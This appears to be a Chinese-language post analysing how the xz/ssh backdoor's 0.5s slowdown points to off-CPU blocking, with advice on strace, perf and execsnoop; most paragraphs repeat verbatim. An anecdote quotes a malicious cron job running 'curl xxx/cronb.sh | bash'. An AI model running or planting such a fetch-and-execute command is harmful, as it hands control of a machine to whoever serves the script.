今天的事情大家都知道了，我说一个小细节， https://www.openwall.com/lists/oss-security/2024/03/29/4 里用 time 来测量耗时，其实这里就已经有信息量了。
注意看 real +0.5s，user 和 sys 不变，这意思是 用户态 on-cpu 和内核态 on-cpu 耗时不增加，那么总耗时增加只有一种可能： off-cpu，比如 IO 或者其他阻塞。
如果我是当事人观察到这个现象，我立刻尝试 strace -fTtt 观测 syscalls，期望的输出是有一些 syscall 耗时特别大，加起来正好等于 0.5s，ssh 进程正是阻塞在等待这些 syscall 返回上。
如果上一步成立，接下来运行 strace -k，观察是谁在调用这些慢 syscall。
原贴说了这个后门做了 gdb 防御，所以如果是检测 ptrace 的话不一定 strace 能观察到，所以只是一个想法，用在正常的软件 debug 还行。
作者也说了，他一开始是使用 perf record 来看性能，但是正如我在频道里多次说过，off-cpu 耗时不被 perf 采样，不可能看出问题。大家有这种经验之后就可以无脑跳过 perf 阶段。
最后作者说性能慢在加载一些额外的符号表，我猜测就是这一步加载符号表的 IO 导致的 +0.5s，可能就是一个 read(2) 之类的。
（说起来我自己的 ubuntu 桌面前几周还发现不知道何时被安装了一个 cron 任务在不断 curl xxx/cronb.sh | bash ，吓死了。大家没事可以运行 execsnoop 看看都有什么牛鬼蛇神在干坏事。）
注意看 real +0.5s，user 和 sys 不变，这意思是 用户态 on-cpu 和内核态 on-cpu 耗时不增加，那么总耗时增加只有一种可能： off-cpu，比如 IO 或者其他阻塞。
如果我是当事人观察到这个现象，我立刻尝试 strace -fTtt 观测 syscalls，期望的输出是有一些 syscall 耗时特别大，加起来正好等于 0.5s，ssh 进程正是阻塞在等待这些 syscall 返回上。
如果上一步成立，接下来运行 strace -k，观察是谁在调用这些慢 syscall。
原贴说了这个后门做了 gdb 防御，所以如果是检测 ptrace 的话不一定 strace 能观察到，所以只是一个想法，用在正常的软件 debug 还行。
作者也说了，他一开始是使用 perf record 来看性能，但是正如我在频道里多次说过，off-cpu 耗时不被 perf 采样，不可能看出问题。大家有这种经验之后就可以无脑跳过 perf 阶段。
最后作者说性能慢在加载一些额外的符号表，我猜测就是这一步加载符号表的 IO 导致的 +0.5s，可能就是一个 read(2) 之类的。
（说起来我自己的 ubuntu 桌面前几周还发现不知道何时被安装了一个 cron 任务在不断 curl xxx/cronb.sh | bash ，吓死了。大家没事可以运行 execsnoop 看看都有什么牛鬼蛇神在干坏事。）